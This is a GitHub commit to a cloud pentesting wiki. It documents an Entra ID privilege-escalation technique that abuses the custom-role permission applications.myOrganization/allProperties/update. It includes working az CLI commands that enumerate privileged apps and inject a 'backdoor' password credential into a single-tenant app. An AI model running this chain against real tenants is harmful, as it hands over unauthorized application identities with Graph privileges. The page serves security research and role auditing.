Skip to content

Commit f2f340d

Browse files
authored
Add applications.myOrganization/allProperties/update privesc technique
## Summary Adds a new privilege escalation technique to the EntraID privesc page, covering `microsoft.directory/applications.myOrganization/allProperties/update`. This permission is not present in any built-in role but commonly appears in custom roles delegated to application teams under the assumption that the `.myOrganization` subtype scopes the action to internal-only apps. Since `allProperties` includes `passwordCredentials` and `keyCredentials`, the permission is functionally equivalent to credential-injection capability against every single-tenant app in the tenant. ## Why this matters The existing page already documents `applications/credentials/update`. The new section complements it by surfacing the custom-role-scoped variant, which is underdocumented and easy to miss during privileged-role audits, admins filter on built-in privileged roles and miss custom roles carrying this single action. ## Testing The full attack chain was reproduced end-to-end in an isolated Microsoft 365 Business Premium trial tenant: 1. Created a custom role with `applications.myOrganization/allProperties/update` as the only action. 2. Assigned it to a non-privileged victim user. 3. From the victim's session, ran the documented commands to inject a credential into a target single-tenant app and successfully authenticated as the application via `az login --service-principal`. ## References - https://learn.microsoft.com/entra/identity/role-based-access-control/custom-available-permissions - https://learn.microsoft.com/entra/identity/role-based-access-control/permissions-reference - https://learn.microsoft.com/graph/api/application-addpassword
1 parent b81257d commit f2f340d

1 file changed

Lines changed: 37 additions & 0 deletions

File tree

  • src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc

src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -65,6 +65,43 @@ az ad app credential reset --id <appId> --append
6565
az ad app credential reset --id <appId> --create-cert
6666
```
6767

68+
### `microsoft.directory/applications.myOrganization/allProperties/update`
69+
70+
This permission grants update to **every writable property** of any **single-tenant** application registration (`signInAudience = AzureADMyOrg`), including `passwordCredentials` and `keyCredentials`. It is marked `IsPrivileged: true` in the catalog but is **not** present in any built-in role — it shows up almost exclusively in **custom roles** an admin creates to delegate "manage our internal apps" without realizing the subtype `.myOrganization` happens to scope the action onto exactly the set of apps most likely to hold privileged Microsoft Graph permissions.
71+
72+
- Enumerate apps with privileged Microsoft Graph permissions consented:
73+
74+
```bash
75+
# SPs with at least one Microsoft Graph app role assigned
76+
GRAPH_SP_ID=$(az ad sp show --id 00000003-0000-0000-c000-000000000000 --query id -o tsv)
77+
az rest --method GET \
78+
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$GRAPH_SP_ID/appRoleAssignedTo" \
79+
--query "value[].{App:principalDisplayName, SP:principalId, RoleId:appRoleId}" \
80+
-o table
81+
82+
# Resolve a RoleId to the human-readable permission name
83+
az ad sp show --id 00000003-0000-0000-c000-000000000000 \
84+
--query "appRoles[?id=='<RoleId>'].value" -o tsv
85+
```
86+
87+
- Confirm the target is single-tenant (inside the `.myOrganization` subtype scope):
88+
89+
```bash
90+
az rest --method GET \
91+
--uri "https://graph.microsoft.com/v1.0/applications(appId='<APP_ID>')" \
92+
--query "{audience:signInAudience, name:displayName}"
93+
# audience must be "AzureADMyOrg"
94+
```
95+
96+
- Inject a credential into the target app — the only privileged step in the chain:
97+
98+
```bash
99+
az rest --method POST \
100+
--uri "https://graph.microsoft.com/v1.0/applications(appId='<APP_ID>')/addPassword" \
101+
--headers "Content-Type=application/json" \
102+
--body '{"passwordCredential":{"displayName":"backdoor"}}'
103+
```
104+
68105
### `microsoft.directory/applications.myOrganization/credentials/update`
69106

70107
This allows the same actions as `applications/credentials/update`, but scoped to single-directory applications.

0 commit comments

Comments
 (0)